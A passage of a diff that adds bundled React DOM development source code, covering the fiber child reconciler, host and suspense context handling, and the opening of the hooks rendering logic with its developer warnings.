+            var existingChild = currentFirstChild;
+            while (existingChild !== null) {
+              if (existingChild.key !== null) {
+                existingChildren.set(existingChild.key, existingChild);
+              } else {
+                existingChildren.set(existingChild.index, existingChild);
+              }
+              existingChild = existingChild.sibling;
+            }
+            return existingChildren;
+          }
+          function useFiber(fiber, pendingProps) {
+            var clone = createWorkInProgress(fiber, pendingProps);
+            clone.index = 0;
+            clone.sibling = null;
+            return clone;
+          }
+          function placeChild(newFiber, lastPlacedIndex, newIndex) {
+            newFiber.index = newIndex;
+            if (!shouldTrackSideEffects) {
+              newFiber.flags |= Forked;
+              return lastPlacedIndex;
+            }
+            var current2 = newFiber.alternate;
+            if (current2 !== null) {
+              var oldIndex = current2.index;
+              if (oldIndex < lastPlacedIndex) {
+                newFiber.flags |= Placement;
+                return lastPlacedIndex;
+              } else {
+                return oldIndex;
+              }
+            } else {
+              newFiber.flags |= Placement;
+              return lastPlacedIndex;
+            }
+          }
+          function placeSingleChild(newFiber) {
+            if (shouldTrackSideEffects && newFiber.alternate === null) {
+              newFiber.flags |= Placement;
+            }
+            return newFiber;
+          }
+          function updateTextNode(returnFiber, current2, textContent, lanes) {
+            if (current2 === null || current2.tag !== HostText) {
+              var created = createFiberFromText(textContent, returnFiber.mode, lanes);
+              created.return = returnFiber;
+              return created;
+            } else {
+              var existing = useFiber(current2, textContent);
+              existing.return = returnFiber;
+              return existing;
+            }
+          }
+          function updateElement(returnFiber, current2, element, lanes) {
+            var elementType = element.type;
+            if (elementType === REACT_FRAGMENT_TYPE) {
+              return updateFragment2(returnFiber, current2, element.props.children, lanes, element.key);
+            }
+            if (current2 !== null) {
+              if (current2.elementType === elementType || isCompatibleFamilyForHotReloading(current2, element) || typeof elementType === "object" && elementType !== null && elementType.$$typeof === REACT_LAZY_TYPE && resolveLazy(elementType) === current2.type) {
+                var existing = useFiber(current2, element.props);
+                existing.ref = coerceRef(returnFiber, current2, element);
+                existing.return = returnFiber;
+                {
+                  existing._debugSource = element._source;
+                  existing._debugOwner = element._owner;
+                }
+                return existing;
+              }
+            }
+            var created = createFiberFromElement(element, returnFiber.mode, lanes);
+            created.ref = coerceRef(returnFiber, current2, element);
+            created.return = returnFiber;
+            return created;
+          }
+          function updatePortal(returnFiber, current2, portal, lanes) {
+            if (current2 === null || current2.tag !== HostPortal || current2.stateNode.containerInfo !== portal.containerInfo || current2.stateNode.implementation !== portal.implementation) {
+              var created = createFiberFromPortal(portal, returnFiber.mode, lanes);
+              created.return = returnFiber;
+              return created;
+            } else {
+              var existing = useFiber(current2, portal.children || []);
+              existing.return = returnFiber;
+              return existing;
+            }
+          }
+          function updateFragment2(returnFiber, current2, fragment, lanes, key) {
+            if (current2 === null || current2.tag !== Fragment) {
+              var created = createFiberFromFragment(fragment, returnFiber.mode, lanes, key);
+              created.return = returnFiber;
+              return created;
+            } else {
+              var existing = useFiber(current2, fragment);
+              existing.return = returnFiber;
+              return existing;
+            }
+          }
+          function createChild(returnFiber, newChild, lanes) {
+            if (typeof newChild === "string" && newChild !== "" || typeof newChild === "number") {
+              var created = createFiberFromText("" + newChild, returnFiber.mode, lanes);
+              created.return = returnFiber;
+              return created;
+            }
+            if (typeof newChild === "object" && newChild !== null) {
+              switch (newChild.$$typeof) {
+                case REACT_ELEMENT_TYPE: {
+                  var _created = createFiberFromElement(newChild, returnFiber.mode, lanes);
+                  _created.ref = coerceRef(returnFiber, null, newChild);
+                  _created.return = returnFiber;
+                  return _created;
+                }
+                case REACT_PORTAL_TYPE: {
+                  var _created2 = createFiberFromPortal(newChild, returnFiber.mode, lanes);
+                  _created2.return = returnFiber;
+                  return _created2;
+                }
+                case REACT_LAZY_TYPE: {
+                  var payload = newChild._payload;
+                  var init = newChild._init;
+                  return createChild(returnFiber, init(payload), lanes);
+                }
+              }
+              if (isArray(newChild) || getIteratorFn(newChild)) {
+                var _created3 = createFiberFromFragment(newChild, returnFiber.mode, lanes, null);
+                _created3.return = returnFiber;
+                return _created3;
+              }
+              throwOnInvalidObjectType(returnFiber, newChild);
+            }
+            {
+              if (typeof newChild === "function") {
+                warnOnFunctionType(returnFiber);
+              }
+            }
+            return null;
+          }
+          function updateSlot(returnFiber, oldFiber, newChild, lanes) {
+            var key = oldFiber !== null ? oldFiber.key : null;
+            if (typeof newChild === "string" && newChild !== "" || typeof newChild === "number") {
+              if (key !== null) {
+                return null;
+              }
+              return updateTextNode(returnFiber, oldFiber, "" + newChild, lanes);
+            }
+            if (typeof newChild === "object" && newChild !== null) {
+              switch (newChild.$$typeof) {
+                case REACT_ELEMENT_TYPE: {
+                  if (newChild.key === key) {
+                    return updateElement(returnFiber, oldFiber, newChild, lanes);
+                  } else {
+                    return null;
+                  }
+                }
+                case REACT_PORTAL_TYPE: {
+                  if (newChild.key === key) {
+                    return updatePortal(returnFiber, oldFiber, newChild, lanes);
+                  } else {
+                    return null;
+                  }
+                }
+                case REACT_LAZY_TYPE: {
+                  var payload = newChild._payload;
+                  var init = newChild._init;
+                  return updateSlot(returnFiber, oldFiber, init(payload), lanes);
+                }
+              }
+              if (isArray(newChild) || getIteratorFn(newChild)) {
+                if (key !== null) {
+                  return null;
+                }
+                return updateFragment2(returnFiber, oldFiber, newChild, lanes, null);
+              }
+              throwOnInvalidObjectType(returnFiber, newChild);
+            }
+            {
+              if (typeof newChild === "function") {
+                warnOnFunctionType(returnFiber);
+              }
+            }
+            return null;
+          }
+          function updateFromMap(existingChildren, returnFiber, newIdx, newChild, lanes) {
+            if (typeof newChild === "string" && newChild !== "" || typeof newChild === "number") {
+              var matchedFiber = existingChildren.get(newIdx) || null;
+              return updateTextNode(returnFiber, matchedFiber, "" + newChild, lanes);
+            }
+            if (typeof newChild === "object" && newChild !== null) {
+              switch (newChild.$$typeof) {
+                case REACT_ELEMENT_TYPE: {
+                  var _matchedFiber = existingChildren.get(newChild.key === null ? newIdx : newChild.key) || null;
+                  return updateElement(returnFiber, _matchedFiber, newChild, lanes);
+                }
+                case REACT_PORTAL_TYPE: {
+                  var _matchedFiber2 = existingChildren.get(newChild.key === null ? newIdx : newChild.key) || null;
+                  return updatePortal(returnFiber, _matchedFiber2, newChild, lanes);
+                }
+                case REACT_LAZY_TYPE:
+                  var payload = newChild._payload;
+                  var init = newChild._init;
+                  return updateFromMap(existingChildren, returnFiber, newIdx, init(payload), lanes);
+              }
+              if (isArray(newChild) || getIteratorFn(newChild)) {
+                var _matchedFiber3 = existingChildren.get(newIdx) || null;
+                return updateFragment2(returnFiber, _matchedFiber3, newChild, lanes, null);
+              }
+              throwOnInvalidObjectType(returnFiber, newChild);
+            }
+            {
+              if (typeof newChild === "function") {
+                warnOnFunctionType(returnFiber);
+              }
+            }
+            return null;
+          }
+          function warnOnInvalidKey(child, knownKeys, returnFiber) {
+            {
+              if (typeof child !== "object" || child === null) {
+                return knownKeys;
+              }
+              switch (child.$$typeof) {
+                case REACT_ELEMENT_TYPE:
+                case REACT_PORTAL_TYPE:
+                  warnForMissingKey(child, returnFiber);
+                  var key = child.key;
+                  if (typeof key !== "string") {
+                    break;
+                  }
+                  if (knownKeys === null) {
+                    knownKeys = /* @__PURE__ */ new Set();
+                    knownKeys.add(key);
+                    break;
+                  }
+                  if (!knownKeys.has(key)) {
+                    knownKeys.add(key);
+                    break;
+                  }
+                  error("Encountered two children with the same key, `%s`. Keys should be unique so that components maintain their identity across updates. Non-unique keys may cause children to be duplicated and/or omitted \u2014 the behavior is unsupported and could change in a future version.", key);
+                  break;
+                case REACT_LAZY_TYPE:
+                  var payload = child._payload;
+                  var init = child._init;
+                  warnOnInvalidKey(init(payload), knownKeys, returnFiber);
+                  break;
+              }
+            }
+            return knownKeys;
+          }
+          function reconcileChildrenArray(returnFiber, currentFirstChild, newChildren, lanes) {
+            {
+              var knownKeys = null;
+              for (var i2 = 0; i2 < newChildren.length; i2++) {
+                var child = newChildren[i2];
+                knownKeys = warnOnInvalidKey(child, knownKeys, returnFiber);
+              }
+            }
+            var resultingFirstChild = null;
+            var previousNewFiber = null;
+            var oldFiber = currentFirstChild;
+            var lastPlacedIndex = 0;
+            var newIdx = 0;
+            var nextOldFiber = null;
+            for (; oldFiber !== null && newIdx < newChildren.length; newIdx++) {
+              if (oldFiber.index > newIdx) {
+                nextOldFiber = oldFiber;
+                oldFiber = null;
+              } else {
+                nextOldFiber = oldFiber.sibling;
+              }
+              var newFiber = updateSlot(returnFiber, oldFiber, newChildren[newIdx], lanes);
+              if (newFiber === null) {
+                if (oldFiber === null) {
+                  oldFiber = nextOldFiber;
+                }
+                break;
+              }
+              if (shouldTrackSideEffects) {
+                if (oldFiber && newFiber.alternate === null) {
+                  deleteChild(returnFiber, oldFiber);
+                }
+              }
+              lastPlacedIndex = placeChild(newFiber, lastPlacedIndex, newIdx);
+              if (previousNewFiber === null) {
+                resultingFirstChild = newFiber;
+              } else {
+                previousNewFiber.sibling = newFiber;
+              }
+              previousNewFiber = newFiber;
+              oldFiber = nextOldFiber;
+            }
+            if (newIdx === newChildren.length) {
+              deleteRemainingChildren(returnFiber, oldFiber);
+              if (getIsHydrating()) {
+                var numberOfForks = newIdx;
+                pushTreeFork(returnFiber, numberOfForks);
+              }
+              return resultingFirstChild;
+            }
+            if (oldFiber === null) {
+              for (; newIdx < newChildren.length; newIdx++) {
+                var _newFiber = createChild(returnFiber, newChildren[newIdx], lanes);
+                if (_newFiber === null) {
+                  continue;
+                }
+                lastPlacedIndex = placeChild(_newFiber, lastPlacedIndex, newIdx);
+                if (previousNewFiber === null) {
+                  resultingFirstChild = _newFiber;
+                } else {
+                  previousNewFiber.sibling = _newFiber;
+                }
+                previousNewFiber = _newFiber;
+              }
+              if (getIsHydrating()) {
+                var _numberOfForks = newIdx;
+                pushTreeFork(returnFiber, _numberOfForks);
+              }
+              return resultingFirstChild;
+            }
+            var existingChildren = mapRemainingChildren(returnFiber, oldFiber);
+            for (; newIdx < newChildren.length; newIdx++) {
+              var _newFiber2 = updateFromMap(existingChildren, returnFiber, newIdx, newChildren[newIdx], lanes);
+              if (_newFiber2 !== null) {
+                if (shouldTrackSideEffects) {
+                  if (_newFiber2.alternate !== null) {
+                    existingChildren.delete(_newFiber2.key === null ? newIdx : _newFiber2.key);
+                  }
+                }
+                lastPlacedIndex = placeChild(_newFiber2, lastPlacedIndex, newIdx);
+                if (previousNewFiber === null) {
+                  resultingFirstChild = _newFiber2;
+                } else {
+                  previousNewFiber.sibling = _newFiber2;
+                }
+                previousNewFiber = _newFiber2;
+              }
+            }
+            if (shouldTrackSideEffects) {
+              existingChildren.forEach(function(child2) {
+                return deleteChild(returnFiber, child2);
+              });
+            }
+            if (getIsHydrating()) {
+              var _numberOfForks2 = newIdx;
+              pushTreeFork(returnFiber, _numberOfForks2);
+            }
+            return resultingFirstChild;
+          }
+          function reconcileChildrenIterator(returnFiber, currentFirstChild, newChildrenIterable, lanes) {
+            var iteratorFn = getIteratorFn(newChildrenIterable);
+            if (typeof iteratorFn !== "function") {
+              throw new Error("An object is not an iterable. This error is likely caused by a bug in React. Please file an issue.");
+            }
+            {
+              if (typeof Symbol === "function" && newChildrenIterable[Symbol.toStringTag] === "Generator") {
+                if (!didWarnAboutGenerators) {
+                  error("Using Generators as children is unsupported and will likely yield unexpected results because enumerating a generator mutates it. You may convert it to an array with `Array.from()` or the `[...spread]` operator before rendering. Keep in mind you might need to polyfill these features for older browsers.");
+                }
+                didWarnAboutGenerators = true;
+              }
+              if (newChildrenIterable.entries === iteratorFn) {
+                if (!didWarnAboutMaps) {
+                  error("Using Maps as children is not supported. Use an array of keyed ReactElements instead.");
+                }
+                didWarnAboutMaps = true;
+              }
+              var _newChildren = iteratorFn.call(newChildrenIterable);
+              if (_newChildren) {
+                var knownKeys = null;
+                var _step = _newChildren.next();
+                for (; !_step.done; _step = _newChildren.next()) {
+                  var child = _step.value;
+                  knownKeys = warnOnInvalidKey(child, knownKeys, returnFiber);
+                }
+              }
+            }
+            var newChildren = iteratorFn.call(newChildrenIterable);
+            if (newChildren == null) {
+              throw new Error("An iterable object provided no iterator.");
+            }
+            var resultingFirstChild = null;
+            var previousNewFiber = null;
+            var oldFiber = currentFirstChild;
+            var lastPlacedIndex = 0;
+            var newIdx = 0;
+            var nextOldFiber = null;
+            var step = newChildren.next();
+            for (; oldFiber !== null && !step.done; newIdx++, step = newChildren.next()) {
+              if (oldFiber.index > newIdx) {
+                nextOldFiber = oldFiber;
+                oldFiber = null;
+              } else {
+                nextOldFiber = oldFiber.sibling;
+              }
+              var newFiber = updateSlot(returnFiber, oldFiber, step.value, lanes);
+              if (newFiber === null) {
+                if (oldFiber === null) {
+                  oldFiber = nextOldFiber;
+                }
+                break;
+              }
+              if (shouldTrackSideEffects) {
+                if (oldFiber && newFiber.alternate === null) {
+                  deleteChild(returnFiber, oldFiber);
+                }
+              }
+              lastPlacedIndex = placeChild(newFiber, lastPlacedIndex, newIdx);
+              if (previousNewFiber === null) {
+                resultingFirstChild = newFiber;
+              } else {
+                previousNewFiber.sibling = newFiber;
+              }
+              previousNewFiber = newFiber;
+              oldFiber = nextOldFiber;
+            }
+            if (step.done) {
+              deleteRemainingChildren(returnFiber, oldFiber);
+              if (getIsHydrating()) {
+                var numberOfForks = newIdx;
+                pushTreeFork(returnFiber, numberOfForks);
+              }
+              return resultingFirstChild;
+            }
+            if (oldFiber === null) {
+              for (; !step.done; newIdx++, step = newChildren.next()) {
+                var _newFiber3 = createChild(returnFiber, step.value, lanes);
+                if (_newFiber3 === null) {
+                  continue;
+                }
+                lastPlacedIndex = placeChild(_newFiber3, lastPlacedIndex, newIdx);
+                if (previousNewFiber === null) {
+                  resultingFirstChild = _newFiber3;
+                } else {
+                  previousNewFiber.sibling = _newFiber3;
+                }
+                previousNewFiber = _newFiber3;
+              }
+              if (getIsHydrating()) {
+                var _numberOfForks3 = newIdx;
+                pushTreeFork(returnFiber, _numberOfForks3);
+              }
+              return resultingFirstChild;
+            }
+            var existingChildren = mapRemainingChildren(returnFiber, oldFiber);
+            for (; !step.done; newIdx++, step = newChildren.next()) {
+              var _newFiber4 = updateFromMap(existingChildren, returnFiber, newIdx, step.value, lanes);
+              if (_newFiber4 !== null) {
+                if (shouldTrackSideEffects) {
+                  if (_newFiber4.alternate !== null) {
+                    existingChildren.delete(_newFiber4.key === null ? newIdx : _newFiber4.key);
+                  }
+                }
+                lastPlacedIndex = placeChild(_newFiber4, lastPlacedIndex, newIdx);
+                if (previousNewFiber === null) {
+                  resultingFirstChild = _newFiber4;
+                } else {
+                  previousNewFiber.sibling = _newFiber4;
+                }
+                previousNewFiber = _newFiber4;
+              }
+            }
+            if (shouldTrackSideEffects) {
+              existingChildren.forEach(function(child2) {
+                return deleteChild(returnFiber, child2);
+              });
+            }
+            if (getIsHydrating()) {
+              var _numberOfForks4 = newIdx;
+              pushTreeFork(returnFiber, _numberOfForks4);
+            }
+            return resultingFirstChild;
+          }
+          function reconcileSingleTextNode(returnFiber, currentFirstChild, textContent, lanes) {
+            if (currentFirstChild !== null && currentFirstChild.tag === HostText) {
+              deleteRemainingChildren(returnFiber, currentFirstChild.sibling);
+              var existing = useFiber(currentFirstChild, textContent);
+              existing.return = returnFiber;
+              return existing;
+            }
+            deleteRemainingChildren(returnFiber, currentFirstChild);
+            var created = createFiberFromText(textContent, returnFiber.mode, lanes);
+            created.return = returnFiber;
+            return created;
+          }
+          function reconcileSingleElement(returnFiber, currentFirstChild, element, lanes) {
+            var key = element.key;
+            var child = currentFirstChild;
+            while (child !== null) {
+              if (child.key === key) {
+                var elementType = element.type;
+                if (elementType === REACT_FRAGMENT_TYPE) {
+                  if (child.tag === Fragment) {
+                    deleteRemainingChildren(returnFiber, child.sibling);
+                    var existing = useFiber(child, element.props.children);
+                    existing.return = returnFiber;
+                    {
+                      existing._debugSource = element._source;
+                      existing._debugOwner = element._owner;
+                    }
+                    return existing;
+                  }
+                } else {
+                  if (child.elementType === elementType || isCompatibleFamilyForHotReloading(child, element) || typeof elementType === "object" && elementType !== null && elementType.$$typeof === REACT_LAZY_TYPE && resolveLazy(elementType) === child.type) {
+                    deleteRemainingChildren(returnFiber, child.sibling);
+                    var _existing = useFiber(child, element.props);
+                    _existing.ref = coerceRef(returnFiber, child, element);
+                    _existing.return = returnFiber;
+                    {
+                      _existing._debugSource = element._source;
+                      _existing._debugOwner = element._owner;
+                    }
+                    return _existing;
+                  }
+                }
+                deleteRemainingChildren(returnFiber, child);
+                break;
+              } else {
+                deleteChild(returnFiber, child);
+              }
+              child = child.sibling;
+            }
+            if (element.type === REACT_FRAGMENT_TYPE) {
+              var created = createFiberFromFragment(element.props.children, returnFiber.mode, lanes, element.key);
+              created.return = returnFiber;
+              return created;
+            } else {
+              var _created4 = createFiberFromElement(element, returnFiber.mode, lanes);
+              _created4.ref = coerceRef(returnFiber, currentFirstChild, element);
+              _created4.return = returnFiber;
+              return _created4;
+            }
+          }
+          function reconcileSinglePortal(returnFiber, currentFirstChild, portal, lanes) {
+            var key = portal.key;
+            var child = currentFirstChild;
+            while (child !== null) {
+              if (child.key === key) {
+                if (child.tag === HostPortal && child.stateNode.containerInfo === portal.containerInfo && child.stateNode.implementation === portal.implementation) {
+                  deleteRemainingChildren(returnFiber, child.sibling);
+                  var existing = useFiber(child, portal.children || []);
+                  existing.return = returnFiber;
+                  return existing;
+                } else {
+                  deleteRemainingChildren(returnFiber, child);
+                  break;
+                }
+              } else {
+                deleteChild(returnFiber, child);
+              }
+              child = child.sibling;
+            }
+            var created = createFiberFromPortal(portal, returnFiber.mode, lanes);
+            created.return = returnFiber;
+            return created;
+          }
+          function reconcileChildFibers2(returnFiber, currentFirstChild, newChild, lanes) {
+            var isUnkeyedTopLevelFragment = typeof newChild === "object" && newChild !== null && newChild.type === REACT_FRAGMENT_TYPE && newChild.key === null;
+            if (isUnkeyedTopLevelFragment) {
+              newChild = newChild.props.children;
+            }
+            if (typeof newChild === "object" && newChild !== null) {
+              switch (newChild.$$typeof) {
+                case REACT_ELEMENT_TYPE:
+                  return placeSingleChild(reconcileSingleElement(returnFiber, currentFirstChild, newChild, lanes));
+                case REACT_PORTAL_TYPE:
+                  return placeSingleChild(reconcileSinglePortal(returnFiber, currentFirstChild, newChild, lanes));
+                case REACT_LAZY_TYPE:
+                  var payload = newChild._payload;
+                  var init = newChild._init;
+                  return reconcileChildFibers2(returnFiber, currentFirstChild, init(payload), lanes);
+              }
+              if (isArray(newChild)) {
+                return reconcileChildrenArray(returnFiber, currentFirstChild, newChild, lanes);
+              }
+              if (getIteratorFn(newChild)) {
+                return reconcileChildrenIterator(returnFiber, currentFirstChild, newChild, lanes);
+              }
+              throwOnInvalidObjectType(returnFiber, newChild);
+            }
+            if (typeof newChild === "string" && newChild !== "" || typeof newChild === "number") {
+              return placeSingleChild(reconcileSingleTextNode(returnFiber, currentFirstChild, "" + newChild, lanes));
+            }
+            {
+              if (typeof newChild === "function") {
+                warnOnFunctionType(returnFiber);
+              }
+            }
+            return deleteRemainingChildren(returnFiber, currentFirstChild);
+          }
+          return reconcileChildFibers2;
+        }
+        var reconcileChildFibers = ChildReconciler(true);
+        var mountChildFibers = ChildReconciler(false);
+        function cloneChildFibers(current2, workInProgress2) {
+          if (current2 !== null && workInProgress2.child !== current2.child) {
+            throw new Error("Resuming work not yet implemented.");
+          }
+          if (workInProgress2.child === null) {
+            return;
+          }
+          var currentChild = workInProgress2.child;
+          var newChild = createWorkInProgress(currentChild, currentChild.pendingProps);
+          workInProgress2.child = newChild;
+          newChild.return = workInProgress2;
+          while (currentChild.sibling !== null) {
+            currentChild = currentChild.sibling;
+            newChild = newChild.sibling = createWorkInProgress(currentChild, currentChild.pendingProps);
+            newChild.return = workInProgress2;
+          }
+          newChild.sibling = null;
+        }
+        function resetChildFibers(workInProgress2, lanes) {
+          var child = workInProgress2.child;
+          while (child !== null) {
+            resetWorkInProgress(child, lanes);
+            child = child.sibling;
+          }
+        }
+        var NO_CONTEXT = {};
+        var contextStackCursor$1 = createCursor(NO_CONTEXT);
+        var contextFiberStackCursor = createCursor(NO_CONTEXT);
+        var rootInstanceStackCursor = createCursor(NO_CONTEXT);
+        function requiredContext(c2) {
+          if (c2 === NO_CONTEXT) {
+            throw new Error("Expected host context to exist. This error is likely caused by a bug in React. Please file an issue.");
+          }
+          return c2;
+        }
+        function getRootHostContainer() {
+          var rootInstance = requiredContext(rootInstanceStackCursor.current);
+          return rootInstance;
+        }
+        function pushHostContainer(fiber, nextRootInstance) {
+          push(rootInstanceStackCursor, nextRootInstance, fiber);
+          push(contextFiberStackCursor, fiber, fiber);
+          push(contextStackCursor$1, NO_CONTEXT, fiber);
+          var nextRootContext = getRootHostContext(nextRootInstance);
+          pop(contextStackCursor$1, fiber);
+          push(contextStackCursor$1, nextRootContext, fiber);
+        }
+        function popHostContainer(fiber) {
+          pop(contextStackCursor$1, fiber);
+          pop(contextFiberStackCursor, fiber);
+          pop(rootInstanceStackCursor, fiber);
+        }
+        function getHostContext() {
+          var context = requiredContext(contextStackCursor$1.current);
+          return context;
+        }
+        function pushHostContext(fiber) {
+          var rootInstance = requiredContext(rootInstanceStackCursor.current);
+          var context = requiredContext(contextStackCursor$1.current);
+          var nextContext = getChildHostContext(context, fiber.type);
+          if (context === nextContext) {
+            return;
+          }
+          push(contextFiberStackCursor, fiber, fiber);
+          push(contextStackCursor$1, nextContext, fiber);
+        }
+        function popHostContext(fiber) {
+          if (contextFiberStackCursor.current !== fiber) {
+            return;
+          }
+          pop(contextStackCursor$1, fiber);
+          pop(contextFiberStackCursor, fiber);
+        }
+        var DefaultSuspenseContext = 0;
+        var SubtreeSuspenseContextMask = 1;
+        var InvisibleParentSuspenseContext = 1;
+        var ForceSuspenseFallback = 2;
+        var suspenseStackCursor = createCursor(DefaultSuspenseContext);
+        function hasSuspenseContext(parentContext, flag) {
+          return (parentContext & flag) !== 0;
+        }
+        function setDefaultShallowSuspenseContext(parentContext) {
+          return parentContext & SubtreeSuspenseContextMask;
+        }
+        function setShallowSuspenseContext(parentContext, shallowContext) {
+          return parentContext & SubtreeSuspenseContextMask | shallowContext;
+        }
+        function addSubtreeSuspenseContext(parentContext, subtreeContext) {
+          return parentContext | subtreeContext;
+        }
+        function pushSuspenseContext(fiber, newContext) {
+          push(suspenseStackCursor, newContext, fiber);
+        }
+        function popSuspenseContext(fiber) {
+          pop(suspenseStackCursor, fiber);
+        }
+        function shouldCaptureSuspense(workInProgress2, hasInvisibleParent) {
+          var nextState = workInProgress2.memoizedState;
+          if (nextState !== null) {
+            if (nextState.dehydrated !== null) {
+              return true;
+            }
+            return false;
+          }
+          var props = workInProgress2.memoizedProps;
+          {
+            return true;
+          }
+        }
+        function findFirstSuspended(row) {
+          var node = row;
+          while (node !== null) {
+            if (node.tag === SuspenseComponent) {
+              var state = node.memoizedState;
+              if (state !== null) {
+                var dehydrated = state.dehydrated;
+                if (dehydrated === null || isSuspenseInstancePending(dehydrated) || isSuspenseInstanceFallback(dehydrated)) {
+                  return node;
+                }
+              }
+            } else if (node.tag === SuspenseListComponent && node.memoizedProps.revealOrder !== void 0) {
+              var didSuspend = (node.flags & DidCapture) !== NoFlags;
+              if (didSuspend) {
+                return node;
+              }
+            } else if (node.child !== null) {
+              node.child.return = node;
+              node = node.child;
+              continue;
+            }
+            if (node === row) {
+              return null;
+            }
+            while (node.sibling === null) {
+              if (node.return === null || node.return === row) {
+                return null;
+              }
+              node = node.return;
+            }
+            node.sibling.return = node.return;
+            node = node.sibling;
+          }
+          return null;
+        }
+        var NoFlags$1 = 0;
+        var HasEffect = 1;
+        var Insertion = 2;
+        var Layout = 4;
+        var Passive$1 = 8;
+        var workInProgressSources = [];
+        function resetWorkInProgressVersions() {
+          for (var i2 = 0; i2 < workInProgressSources.length; i2++) {
+            var mutableSource = workInProgressSources[i2];
+            {
+              mutableSource._workInProgressVersionPrimary = null;
+            }
+          }
+          workInProgressSources.length = 0;
+        }
+        function registerMutableSourceForHydration(root2, mutableSource) {
+          var getVersion = mutableSource._getVersion;
+          var version = getVersion(mutableSource._source);
+          if (root2.mutableSourceEagerHydrationData == null) {
+            root2.mutableSourceEagerHydrationData = [mutableSource, version];
+          } else {
+            root2.mutableSourceEagerHydrationData.push(mutableSource, version);
+          }
+        }
+        var ReactCurrentDispatcher$1 = ReactSharedInternals.ReactCurrentDispatcher, ReactCurrentBatchConfig$2 = ReactSharedInternals.ReactCurrentBatchConfig;
+        var didWarnAboutMismatchedHooksForComponent;
+        var didWarnUncachedGetSnapshot;
+        {
+          didWarnAboutMismatchedHooksForComponent = /* @__PURE__ */ new Set();
+        }
+        var renderLanes = NoLanes;
+        var currentlyRenderingFiber$1 = null;
+        var currentHook = null;
+        var workInProgressHook = null;
+        var didScheduleRenderPhaseUpdate = false;
+        var didScheduleRenderPhaseUpdateDuringThisPass = false;
+        var localIdCounter = 0;
+        var globalClientIdCounter = 0;
+        var RE_RENDER_LIMIT = 25;
+        var currentHookNameInDev = null;
+        var hookTypesDev = null;
+        var hookTypesUpdateIndexDev = -1;
+        var ignorePreviousDependencies = false;
+        function mountHookTypesDev() {
+          {
+            var hookName = currentHookNameInDev;
+            if (hookTypesDev === null) {
+              hookTypesDev = [hookName];
+            } else {
+              hookTypesDev.push(hookName);
+            }
+          }
+        }
+        function updateHookTypesDev() {
+          {
+            var hookName = currentHookNameInDev;
+            if (hookTypesDev !== null) {
+              hookTypesUpdateIndexDev++;
+              if (hookTypesDev[hookTypesUpdateIndexDev] !== hookName) {
+                warnOnHookMismatchInDev(hookName);
+              }
+            }
+          }
+        }
+        function checkDepsAreArrayDev(deps) {
+          {
+            if (deps !== void 0 && deps !== null && !isArray(deps)) {
+              error("%s received a final argument that is not an array (instead, received `%s`). When specified, the final argument must be an array.", currentHookNameInDev, typeof deps);
+            }
+          }
+        }
+        function warnOnHookMismatchInDev(currentHookName) {
+          {
+            var componentName = getComponentNameFromFiber(currentlyRenderingFiber$1);
+            if (!didWarnAboutMismatchedHooksForComponent.has(componentName)) {
+              didWarnAboutMismatchedHooksForComponent.add(componentName);
+              if (hookTypesDev !== null) {
+                var table = "";
+                var secondColumnStart = 30;
+                for (var i2 = 0; i2 <= hookTypesUpdateIndexDev; i2++) {
+                  var oldHookName = hookTypesDev[i2];
+                  var newHookName = i2 === hookTypesUpdateIndexDev ? currentHookName : oldHookName;
+                  var row = i2 + 1 + ". " + oldHookName;
+                  while (row.length < secondColumnStart) {
+                    row += " ";
+                  }
+                  row += newHookName + "\n";
+                  table += row;
+                }
+                error("React has detected a change in the order of Hooks called by %s. This will lead to bugs and errors if not fixed. For more information, read the Rules of Hooks: https://reactjs.org/link/rules-of-hooks\n\n   Previous render            Next render\n   ------------------------------------------------------\n%s   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n", componentName, table);
+              }
+            }
+          }
+        }
+        function throwInvalidHookError() {
+          throw new Error("Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for one of the following reasons:\n1. You might have mismatching versions of React and the renderer (such as React DOM)\n2. You might be breaking the Rules of Hooks\n3. You might have more than one copy of React in the same app\nSee https://reactjs.org/link/invalid-hook-call for tips about how to debug and fix this problem.");
+        }
+        function areHookInputsEqual(nextDeps, prevDeps) {
+          {
+            if (ignorePreviousDependencies) {
+              return false;
+            }
+          }
+          if (prevDeps === null) {
+            {
+              error("%s received a final argument during this render, but not during the previous render. Even though the final argument is optional, its type cannot change between renders.", currentHookNameInDev);
+            }
+            return false;
+          }
+          {
+            if (nextDeps.length !== prevDeps.length) {
+              error("The final argument passed to %s changed size between renders. The order and size of this array must remain constant.\n\nPrevious: %s\nIncoming: %s", currentHookNameInDev, "[" + prevDeps.join(", ") + "]", "[" + nextDeps.join(", ") + "]");
+            }
+          }
+          for (var i2 = 0; i2 < prevDeps.length && i2 < nextDeps.length; i2++) {
+            if (objectIs(nextDeps[i2], prevDeps[i2])) {
+              continue;
+            }
+            return false;
+          }
+          return true;
+        }
+        function renderWithHooks(current2, workInProgress2, Component, props, secondArg, nextRenderLanes) {
+          renderLanes = nextRenderLanes;
+          currentlyRenderingFiber$1 = workInProgress2;
+          {
+            hookTypesDev = current2 !== null ? current2._debugHookTypes : null;
+            hookTypesUpdateIndexDev = -1;
+            ignorePreviousDependencies = current2 !== null && current2.type !== workInProgress2.type;
+          }
+          workInProgress2.memoizedState = null;
+          workInProgress2.updateQueue = null;
+          workInProgress2.lanes = NoLanes;
+          {
+            if (current2 !== null && current2.memoizedState !== null) {
+              ReactCurrentDispatcher$1.current = HooksDispatcherOnUpdateInDEV;
+            } else if (hookTypesDev !== null) {
+              ReactCurrentDispatcher$1.current = HooksDispatcherOnMountWithHookTypesInDEV;
+            } else {
+              ReactCurrentDispatcher$1.current = HooksDispatcherOnMountInDEV;
+            }
+          }
+          var children = Component(props, secondArg);
+          if (didScheduleRenderPhaseUpdateDuringThisPass) {
+            var numberOfReRenders = 0;
+            do {
+              didScheduleRenderPhaseUpdateDuringThisPass = false;
+              localIdCounter = 0;
+              if (numberOfReRenders >= RE_RENDER_LIMIT) {
+                throw new Error("Too many re-renders. React limits the number of renders to prevent an infinite loop.");
+              }
+              numberOfReRenders += 1;
+              {
+                ignorePreviousDependencies = false;
+              }
+              currentHook = null;
+              workInProgressHook = null;
+              workInProgress2.updateQueue = null;
+              {
+                hookTypesUpdateIndexDev = -1;
+              }
+              ReactCurrentDispatcher$1.current = HooksDispatcherOnRerenderInDEV;
+              children = Component(props, secondArg);
+            } while (didScheduleRenderPhaseUpdateDuringThisPass);
+          }
+          ReactCurrentDispatcher$1.current = ContextOnlyDispatcher;
+          {
+            workInProgress2._debugHookTypes = hookTypesDev;
+          }
